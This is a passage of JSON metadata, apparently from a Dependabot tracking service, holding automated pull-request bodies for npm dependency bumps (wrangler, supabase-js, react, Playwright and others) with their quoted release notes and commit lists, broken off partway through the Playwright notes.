href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/16359\"\u003e#16359\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/262021dd0db4d24df33405d89e4c1a6622ce832f\"\u003e\u003ccode\u003e262021d\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/tw4\"\u003e\u003ccode\u003e@​tw4\u003c/code\u003e\u003c/a\u003e! - Stop \u003ccode\u003e--strict\u003c/code\u003e deploys and version uploads from aborting when the API omits optional binding fields\u003c/p\u003e\n\u003cp\u003ePreviously, \u003ccode\u003ewrangler deploy --strict\u003c/code\u003e and \u003ccode\u003ewrangler versions upload --strict\u003c/code\u003e could report a destructive change for an unchanged configuration, for example an R2 bucket in the default jurisdiction, because a field the API left out was compared as removed. Missing and unset optional fields are now treated as equal, so these commands proceed when the local configuration matches the deployed Worker.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/3464abcfeb42bbe7fc3b30a4981cf1ef4c3970ba\"\u003e\u003ccode\u003e3464abc\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"mailto:miniflare@5.20261019.1-beta\"\u003eminiflare@5.20261019.1-beta\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ewrangler@4.151.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/16307\"\u003e#16307\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/37ab91c639062dda2acd12f02df4ee49e67ba56f\"\u003e\u003ccode\u003e37ab91c\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update dependencies of \u0026quot;miniflare\u0026quot;, \u0026quot;wrangler\u0026quot;\u003c/p\u003e\n\u003cp\u003eThe following dependency versions have been updated:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDependency\u003c/th\u003e\n\u003cth\u003eFrom\u003c/th\u003e\n\u003cth\u003eTo\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003ccode\u003e@​cloudflare/workers-types\u003c/code\u003e\u003c/td\u003e\n\u003ctd\u003e^5.20261006.1\u003c/td\u003e\n\u003ctd\u003e^5.20261016.1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eworkerd\u003c/td\u003e\n\u003ctd\u003e1.20261012.1\u003c/td\u003e\n\u003ctd\u003e1.20261016.1\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/16352\"\u003e#16352\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/0ae7926b77d860a4330448c6cc398946b6797f3d\"\u003e\u003ccode\u003e0ae7926\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update dependencies of \u0026quot;miniflare\u0026quot;, \u0026quot;wrangler\u0026quot;\u003c/p\u003e\n\u003cp\u003eThe following dependency versions have been updated:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDependency\u003c/th\u003e\n\u003cth\u003eFrom\u003c/th\u003e\n\u003cth\u003eTo\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003ccode\u003e@​cloudflare/workers-types\u003c/code\u003e\u003c/td\u003e\n\u003ctd\u003e^5.20261016.1\u003c/td\u003e\n\u003ctd\u003e^5.20261019.1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eworkerd\u003c/td\u003e\n\u003ctd\u003e1.20261016.1\u003c/td\u003e\n\u003ctd\u003e1.20261019.1\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/37ab91c639062dda2acd12f02df4ee49e67ba56f\"\u003e\u003ccode\u003e37ab91c\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/0ae7926b77d860a4330448c6cc398946b6797f3d\"\u003e\u003ccode\u003e0ae7926\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"mailto:miniflare@5.20261019.0-beta\"\u003eminiflare@5.20261019.0-beta\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ewrangler@4.151.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/15541\"\u003e#15541\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/e13d5ccf0555e4b2af29255165237bbb17825b39\"\u003e\u003ccode\u003ee13d5cc\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mack-erel\"\u003e\u003ccode\u003e@​mack-erel\u003c/code\u003e\u003c/a\u003e! - Keep remote dev sessions alive through transient network failures\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/7d5765963616b90aa4c15d43e800fd7d65349270\"\u003e\u003ccode\u003e7d57659\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/16358\"\u003e#16358\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/017bf9b5117a8a511f4ed2c10dd2bd0b80b24c31\"\u003e\u003ccode\u003e017bf9b\u003c/code\u003e\u003c/a\u003e chore(vitest): migrate remaining workspace tests to v5 (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/16259\"\u003e#16259\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/61fc7397b2982db1c9b099cbeaee3fd0428fdf8a\"\u003e\u003ccode\u003e61fc739\u003c/code\u003e\u003c/a\u003e [wrangler] Fetch the remote config diff from the configured compliance region...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/a88cac4d880629a4ad68f7173b3353941bea6081\"\u003e\u003ccode\u003ea88cac4\u003c/code\u003e\u003c/a\u003e [wrangler] Fail with an error instead of hanging under Bun (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/15846\"\u003e#15846\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/45081725e9e5cb79b76ade277a7e61395cb55950\"\u003e\u003ccode\u003e4508172\u003c/code\u003e\u003c/a\u003e [wrangler] Support named-only module Workers in dev (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/15611\"\u003e#15611\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/601ca30f885731415bb32e29c07510734f842934\"\u003e\u003ccode\u003e601ca30\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/16313\"\u003e#16313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/89cc3c75033090a0159843bc317381f589cde8aa\"\u003e\u003ccode\u003e89cc3c7\u003c/code\u003e\u003c/a\u003e [wrangler] Fix deploy warning snapshots (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/16353\"\u003e#16353\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/fc51b96c7f9952e46a6ceee6dfce22d004e539a8\"\u003e\u003ccode\u003efc51b96\u003c/code\u003e\u003c/a\u003e De-centralize CLI specific messaging (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/16225\"\u003e#16225\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/e7f9e4e99b0674b5e83999fd61cd096831611f4f\"\u003e\u003ccode\u003ee7f9e4e\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/16287\"\u003e#16287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/4a5377fc228dd94aa5df7545c8185cdd98be733e\"\u003e\u003ccode\u003e4a5377f\u003c/code\u003e\u003c/a\u003e [wrangler] Hide unusable dev hotkeys under Turborepo (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/13742\"\u003e#13742\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/cloudflare/workers-sdk/commits/wrangler@4.151.3/packages/wrangler\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/johnmlilly/francisroylilly/pull/41","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/johnmlilly%2Ffrancisroylilly/issues/41","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/41/packages"}},{"old_version":"5.0.2","new_version":"5.0.5","update_type":"patch","path":null,"pr_created_at":"2026-10-23T21:49:14.000Z","version_change":"5.0.2 → 5.0.5","issue":{"uuid":"6005960618","node_id":"PR_kwDOT6GvYc8AAAABKWiPwg","number":350,"state":"open","title":"chore: bump the minor-and-patch group across 1 directory with 9 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T21:49:14.000Z","updated_at":"2026-10-23T21:50:15.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore: bump","group_name":"minor-and-patch","update_count":9,"packages":[{"name":"@supabase/supabase-js","old_version":"2.117.2","new_version":"2.118.0","repository_url":"https://github.com/supabase/supabase-js"},{"name":"react","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"@playwright/test","old_version":"1.63.0","new_version":"1.64.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@types/node","old_version":"26.6.3","new_version":"26.6.5","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"pg","old_version":"8.23.0","new_version":"8.23.1","repository_url":"https://github.com/brianc/node-postgres"},{"name":"prettier","old_version":"3.9.9","new_version":"3.9.10","repository_url":"https://github.com/prettier/prettier"},{"name":"supabase","old_version":"2.118.0","new_version":"2.121.0","repository_url":"https://github.com/supabase/cli"},{"name":"vitest","old_version":"5.0.2","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the minor-and-patch group with 9 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@supabase/supabase-js](https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js) | `2.117.2` | `2.118.0` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.3.0` | `19.3.1` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.3.0` | `19.3.1` |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.63.0` | `1.64.1` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `26.6.3` | `26.6.5` |\n| [pg](https://github.com/brianc/node-postgres/tree/HEAD/packages/pg) | `8.23.0` | `8.23.1` |\n| [prettier](https://github.com/prettier/prettier) | `3.9.9` | `3.9.10` |\n| [supabase](https://github.com/supabase/cli/tree/HEAD/apps/cli) | `2.118.0` | `2.121.0` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.2` | `5.0.5` |\n\n\nUpdates `@supabase/supabase-js` from 2.117.2 to 2.118.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/supabase/supabase-js/releases\"\u003e@​supabase/supabase-js's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.118.0\u003c/h2\u003e\n\u003ch2\u003e2.118.0 (2026-10-15)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003epostgrest:\u003c/strong\u003e leave computed fields out of select('*') and resolve no-argument rpc overloads for postgrest-typegen output (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2730\"\u003e#2730\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estorage:\u003c/strong\u003e add content-encoding support for uploads (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/1949\"\u003e#1949\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eci:\u003c/strong\u003e patch next and sharp advisories and pin node-browser playwright (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2753\"\u003e#2753\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAtharv Gaur \u003ca href=\"https://github.com/Athaxv\"\u003e\u003ccode\u003e@​Athaxv\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFerhat Elmas\u003c/li\u003e\n\u003cli\u003eLukas Klingsbo\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.118.0-canary.2\u003c/h2\u003e\n\u003ch2\u003e2.118.0-canary.2 (2026-10-12)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only, there were no code changes.\u003c/p\u003e\n\u003ch2\u003ev2.118.0-canary.1\u003c/h2\u003e\n\u003ch2\u003e2.118.0-canary.1 (2026-10-12)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only, there were no code changes.\u003c/p\u003e\n\u003ch2\u003ev2.118.0-canary.0\u003c/h2\u003e\n\u003ch2\u003e2.118.0-canary.0 (2026-10-09)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003epostgrest:\u003c/strong\u003e leave computed fields out of select('*') and resolve no-argument rpc overloads for postgrest-typegen output (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2730\"\u003e#2730\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eci:\u003c/strong\u003e patch next and sharp advisories and pin node-browser playwright (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2753\"\u003e#2753\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eLukas Klingsbo\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.117.3\u003c/h2\u003e\n\u003ch2\u003e2.117.3 (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e bump next to patch RCE in realtime-js example (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2733\"\u003e#2733\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003efunctions:\u003c/strong\u003e send a Blob or File with its own content type (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2714\"\u003e#2714\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/supabase/supabase-js/blob/master/packages/core/supabase-js/CHANGELOG.md\"\u003e@​supabase/supabase-js's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.118.0 (2026-10-15)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003epostgrest:\u003c/strong\u003e leave computed fields out of select('*') and resolve no-argument rpc overloads for postgrest-typegen output (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2730\"\u003e#2730\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eLukas Klingsbo\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.117.3 (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003estorage:\u003c/strong\u003e send multipart fields before files (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2736\"\u003e#2736\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFerhat Elmas\u003c/li\u003e\n\u003cli\u003eKaterina Skroumpelou \u003ca href=\"https://github.com/mandarini\"\u003e\u003ccode\u003e@​mandarini\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/b9753a1e3a8ad867b5c1dbefaf9a5a41cd4ce147\"\u003e\u003ccode\u003eb9753a1\u003c/code\u003e\u003c/a\u003e feat(postgrest): leave computed fields out of select('*') and resolve no-argu...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/88faa11124008a5feedf10538b9ddd9d1a55d448\"\u003e\u003ccode\u003e88faa11\u003c/code\u003e\u003c/a\u003e fix(ci): patch next and sharp advisories and pin node-browser playwright (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2753\"\u003e#2753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/aac9d32536ef190f7c5eb5a8128cce14e0c71d4d\"\u003e\u003ccode\u003eaac9d32\u003c/code\u003e\u003c/a\u003e chore(release): version 2.117.3 changelogs (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2744\"\u003e#2744\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/4d23055805ce2cf853686b704cfaec1a701d29c6\"\u003e\u003ccode\u003e4d23055\u003c/code\u003e\u003c/a\u003e fix(storage): send multipart fields before files (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2736\"\u003e#2736\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/a684cf97b67fd71670bab5030fe88b219f2c09fe\"\u003e\u003ccode\u003ea684cf9\u003c/code\u003e\u003c/a\u003e chore(release): version 2.117.2 changelogs (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2707\"\u003e#2707\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/supabase/supabase-js/commits/v2.118.0/packages/core/supabase-js\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-dom` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react-dom\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@playwright/test` from 1.63.0 to 1.64.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/playwright/releases\"\u003e@​playwright/test's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.64.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43247\"\u003e#43247\u003c/a\u003e [Bug]: _electron.launch intermittently loses a packaged app's first window since 1.64.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43242\"\u003e#43242\u003c/a\u003e [Regression]: Chromium 155+ aborts a preflighted cross-origin redirect whenever any route is registered (net::ERR_ABORTED)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev1.64.0\u003c/h2\u003e\n\u003ch2\u003e🧰 WebMCP\u003c/h2\u003e\n\u003cp\u003eNew \u003ca href=\"https://playwright.dev/docs/api/class-page#page-webmcp\"\u003epage.webmcp\u003c/a\u003e and \u003ca href=\"https://playwright.dev/docs/api/class-frame#frame-webmcp\"\u003eframe.webmcp\u003c/a\u003e give access to the tools that a page registers through the experimental \u003ca href=\"https://playwright.dev/docs/api/class-webmcp\"\u003eWebMCP\u003c/a\u003e browser API, so you can test them like any other part of your app:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003econst browser = await chromium.launch({ args: ['--enable-features=WebMCP'] });\r\nconst page = await browser.newPage();\r\nawait page.goto('https://example.com');\r\n\u003cp\u003efor (const tool of await page.webmcp.tools())\nconsole.log(tool.name, tool.description);\u003c/p\u003e\n\u003cp\u003econst result = await page.webmcp.callTool('add', { a: 2, b: 40 });\nconsole.log(result.content[0].text); // \u0026quot;42\u0026quot;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://playwright.dev/docs/getting-started-mcp\"\u003ePlaywright MCP\u003c/a\u003e also supports WebMCP by default, with page-defined tools offered to the agent as \u003ccode\u003ewebmcp_\u0026lt;tool\u0026gt;\u003c/code\u003e. Pass \u003ccode\u003e--no-webmcp\u003c/code\u003e to opt out.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://playwright.dev/docs/getting-started-cli\"\u003e\u003ccode\u003eplaywright-cli\u003c/code\u003e\u003c/a\u003e exposes them as well:\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003eplaywright-cli webmcp-list\r\nplaywright-cli webmcp-call search_catalog --params '{\u0026quot;query\u0026quot;:\u0026quot;cats\u0026quot;}'\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003e🎬 Better videos\u003c/h2\u003e\n\u003cp\u003eVideos can now be recorded at a custom frame rate, and the decorations for actions are styled with plain CSS:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// playwright.config.ts\r\nimport { defineConfig } from '@playwright/test';\r\n\u003cp\u003eexport default defineConfig({\nuse: {\nvideo: {\nmode: 